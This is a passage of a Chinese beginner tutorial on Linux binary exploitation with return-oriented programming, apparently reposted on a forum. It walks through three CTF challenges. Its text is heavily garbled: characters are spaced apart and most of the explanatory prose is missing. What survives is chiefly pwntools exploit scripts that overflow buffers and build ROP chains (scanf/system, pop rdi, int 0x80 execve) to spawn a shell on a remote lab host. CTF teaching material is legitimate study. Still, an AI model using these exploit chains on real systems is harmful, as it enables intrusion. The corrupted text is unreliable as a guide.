[19358] 2018-07-17_Linuxpwn入门教程(3)——ROP技术

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2018-07-17_Linuxpwn入门教程(3)——ROP技术 L i n u x   p w n ( 3 ) R O P i   2 0 1 8 - 0 7 - 1 7 T a n g e r i n e @ S A I N T S E C i s h e l l c o d e R W X ( W ) ( X ) s h e l l c o d e E I P r e a d ( ) / s c a n f ( ) / g e t s ( ) E L F R W X 使 I D A C t r l   +   S 使 p w n t o o l s c h e c k s e c R W X m p r o t e c t ( ) , m m a p ( ) R W X R W X s h e l l c o d e N X N o   e X e c u t e   b i t C P U X 使 s h e l l c o d e R O P R e t u r n - O r i e n t e d   P r o g r a m m i n g ,  
R O P 使 r e t 使 j m p c a l l J O P / C O P r e t r e t p o p   e i p R O P g a d g e t r e t / j m p / c a l l N X 使 使 R O P g o t x 8 6 R O P g o t ~ / R e d H a t 2 0 1 7 - p w n 1 / p w n 1 m a i n v 1 b p - 2 8 h 使 _ _ i s o c 9 9 _ s c a n f N X s h e l l c o d e s h e l l s y s t e m s y s t e m ( / b i n / s h ) s y s t e m / b i n / s h 使 G O T P L T . g o t . p l t s y s t e m / b i n / s h _ _ i s o c 9 9 _ s c a n f / b i n / s h R O P / b i n / s h C t r l + S 0 x 0 8 0 4 a 0 3 0 8 A S L R
_ _ i s o c 9 9 _ s c a n f % s 0 x 0 8 0 4 8 6 2 9 使 p w n t o o l s _ _ i s o c 9 9 _ s c a n f P L T P L T s t u b E I P P L T x 8 6 R O P f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) e l f   =   E L F ( ' . / p w n 1 ' ) s c a n f _ a d d r   =   p 3 2 ( e l f . s y m b o l s [ ' _ _ i s o c 9 9 _ s c a n f ' ] ) f o r m a t _ s   =   p 3 2 ( 0 x 0 8 0 4 8 6 2 9 ) b i n s h _ a d d r   =   p 3 2 ( 0 x 0 8 0 4 a 0 3 0 ) s h e l l c o d e 1   =   ' A ' * 0 x 3 4 s h e l l c o d e 1   + =   s c a n f _ a d d r s h e l l c o d e 1   + =   f o r m a t _ s s h e l l c o d e 1   + =   b i n s h _ a d d r p r i n t   i o . r e a d ( ) i o . s e n d l i n e ( s h e l l c o d e 1 ) i o . s e n d l i n e ( / b i n / s h )     E I P r e t n p l t _ _ i s o c 9 9 _ s c a n f   ! [ ] ( d a t a / a t t a c h m e n t / a l b u m / 2 0 1 8 0 7 / 0 6 / 1 1 3 5 3 8 d r g l f g f g r r l m r t r y . p n g )   l i b c   ! [ ] ( d a t a / a t t a c h m e n t / a l b u m / 2 0 1 8 0 7 / 0 6 / 1 1 3 5 4 4 p 5 3 3 3 t 7 q e 7 9 7 q g b t . p n g )   c a l l c a l l c a l l r e t c a l l E I P c a l l _ _ i s o c 9 9 _ s c a n f c a l l s c a n f _ a d d r f o r m a t _ s b i n s h _ a d d r ` c a l l 0 8 0 4 8 5 5 7     m o v       [ e s p + 4 ] ,   e a x 0 8 0 4 8 5 5 B     m o v       d w o r d   p t r   [ e s p ] ,   o f f s e t   u n k _ 8 0 4 8 6 2 9             0 8 0 4 8 5 6 2     c a l l         _ _ _ i s o c 9 9 _ s c a n f                                 0 8 0 4 8 5 6 7     l e a           e a x ,   [ e s p + 1 8 h ]

0 8 0 4 8 5 8 0                   l e a v e 0 8 0 4 8 5 8 1                 r e t n                                                 ;                 p o p   e i p F 7 E 2 2 6 1 0                   _ _ i s o c 9 9 _ s c a n f :   F 7 E 2 2 6 1 0                 p u s h     e b p F 7 E 2 2 6 1 1                 m o v           e b p ,   e s p c a l l R O P E I P s c a n f s y s t e m _ _ i s o c 9 9 _ s c a n f m a i n 便 R O P f r o m   p w n   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )   e l f = E L F ( ' . / p w n 1 ' )   s c a n f _ a d d r   =   p 3 2 ( e l f . s y m b o l s [ ' _ _ i s o c 9 9 _ s c a n f ' ] )                 f o r m a t _ s   =   p 3 2 ( 0 x 0 8 0 4 8 6 2 9 )                   b i n s h _ a d d r   =   p 3 2 ( 0 x 0 8 0 4 a 0 3 0 )   s h e l l c o d e 1   =   ' A ' * 0 x 3 4                   s h e l l c o d e 1   + =   s c a n f _ a d d r   s h e l l c o d e 1   + =   m a i n _ a d d r   s h e l l c o d e 1   + =   f o r m a t _ s   s h e l l c o d e 1 + = b i n s h _ a d d r p r i n t   i o . r e a d ( ) i o . s e n d l i n e ( s h e l l c o d e 1 ) i o . s e n d l i n e ( / b i n / s h ) _ _ i s o c 9 9 _ s c a n f / b i n / s h 0 x 0 8 0 4 a 0 3 0 m a i n R O P s y s t e m s y s t e m ( / b i n / s h ) R O P 仿 6 4 使 R O P g o t ~ / b u g s   b u n n y   c t f   2 0 1 7 - p w n 1 5 0 / p w n 1 5 0 H e l l o ( )
N X s y s t e m / b i n / s h m a i n t o d a y s y s t e m ( / b i n / d a t e ) s y s t e m / b i n / s h s h s h e l l O K s y s t e m s h s h e l l x 8 6 x 6 4 r d i ,   r s i ,   r d x ,   r c x ,   r 8 ,   r 9 R D I R O P p o p   r d i ;   r e t r d i R O P   g a d g e t p w n t o o l s R O P R O P g a d g e t r p + + r o p e m e 使 R O P g a d g e t ( h t t p s : / / g i t h u b . c o m / J o n a t h a n S a l w a n / R O P g a d g e t R O P g a d g e t   - - b i n a r y   使 g r e p g a d g e t s t r i c k I D A 0 x 4 0 0 8 8 3 0 x 4 0 0 8 8 2 p o p   r 1 5 ,   0 x 4 0 0 8 8 4 r e t n p o p   r d i R O P g a d g e t b u g 0 x 4 0 0 8 8 2 D 0 x 4 0 0 8 8 3 C p o p   r d i p o p   r 1 5 o p c o d e o p c o d e 西 R O P c a l l   s y s t e m
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )   c a l l _ s y s t e m   =   0 x 4 0 0 7 5 f                                                 # c a l l   s y s t e m b i n s h   =   0 x 4 0 0 3 e f                                                 # " s h " p o p _ r d i   =   0 x 4 0 0 8 8 3                                                 # p o p   r d i ;   r e t n p a y l o a d   =   " " p a y l o a d   + =   " A " * 8 8                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( p o p _ r d i )                                 p a y l o a d   + =   p 6 4 ( b i n s h )                                                 # r d i " s h " p a y l o a d   + =   p 6 4 ( c a l l _ s y s t e m )                                 # s y s t e m s y s t e m ( " s h " ) i o . s e n d l i n e ( p a y l o a d )   i o . i n t e r a c t i v e ( ) s h e l l r e t n 0 x 4 0 0 8 8 3 g a d g e t p o p   r d i ;   r e t p o p   r d i s h 0 x 4 0 0 3 e f r d i r e t n c a l l   s y s t e m 使 使 R O P i n t   8 0 h / s y s c a l l 使 R O P s y s t e m R O P i n t   8 0 h / s y s c a l l i n t   8 0 h / s y s c a l l ~ / T a m u   C T F   2 0 1 8 - p w n 5 / p w n 5 . p r i n t _ b e g i n n i n g ( )
p u t s ( ) p r i n t f ( ) f i r s t _ n a m e ,   l a s t _ n a m e m a j o r C o r p s   o f   C a d e t s 2 c h a n g e _ m a j o r ( ) c h a n g e _ m a j o r ( )
g e t s h e l l s y s t e m R O P G a d g e t   - - b i n a r y   p w n 5   |   g r e p   i n t   0 x 8 0 g a d g e t h t t p : / / s y s c a l l s . k e r n e l g r o k . c o m /   s y s _ e x e c v e s h e l l 5 e a x   =   1 1   =   0 x b ,   e b x   =   & ( / b i n / s h ) ,   e c x   =   e d x   =   e d i   =   0 .   / b i n / s h R O P g a d g e t p o p   e a x / e b x / e c x / e d x / e s i ;   r e t p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t R O P
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 )   p p p p r   =   0 x 0 8 0 a 1 5 0 a                 # p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t p p p r   =   0 x 0 8 0 7 3 3 b 0                 # p o p   e d x ;   p o p   e c x ;   p o p   e b x ;   r e t i n t _ 8 0   =   0 x 0 8 0 7 1 0 0 5                 # i n t   0 x 8 0 b i n s h   =   0 x 0 8 0 f 1 a 2 0                 # f i r s t _ n a m e   a d d r e s s p a y l o a d   =   " A " * 3 2                                 # p a d d i n g p a y l o a d   + =   p 3 2 ( p p p p r )                 # p o p   e a x ;   p o p   e b x ;   p o p   e s i ;   p o p   e d i ;   r e t p a y l o a d   + =   p 3 2 ( 0 x b )                                 # e a x   =   0 x b p a y l o a d   + =   p 3 2 ( b i n s h )                 # e b x   =   & ( " / b i n / s h " ) p a y l o a d   + =   p 3 2 ( 0 )                                 # e s i   =   0 p a y l o a d   + =   p 3 2 ( 0 )                                 # e d i   =   0 p a y l o a d   + =   p 3 2 ( p p p r )                 # p o p   e d x ;   p o p   e c x ;   p o p   e b x ;   r e t p a y l o a d   + =   p 3 2 ( 0 )                                 # e d x   =   0 p a y l o a d   + =   p 3 2 ( 0 )                                 # e c x   =   0 p a y l o a d   + =   p 3 2 ( b i n s h )                 # e b x   =   & ( " / b i n / s h " ) p a y l o a d   + =   p 3 2 ( i n t _ 8 0 )                 # i n t   0 x 8 0 i o . s e n d l i n e ( " / b i n / s h " )                 # f i r s t _ n a m e " / b i n / s h " i o . s e n d l i n e ( " A " )                                 # 便 i o . s e n d l i n e ( " A " )                                 # 便 i o . s e n d l i n e ( " y " )                                 # y f i r s t _ d a y _ c o r p s ( ) i o . s e n d l i n e ( " 2 " )                                 # 2 c h a n g e _ m a j o r ( ) i o . s e n d l i n e ( p a y l o a d )   i o . i n t e r a c t i v e ( ) R O P p a y l o a d 0 x 0 8 0 1 5 0 a 0 x 0 a n 使 n g a d g e t s g a d g e t g e t s h e l l
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则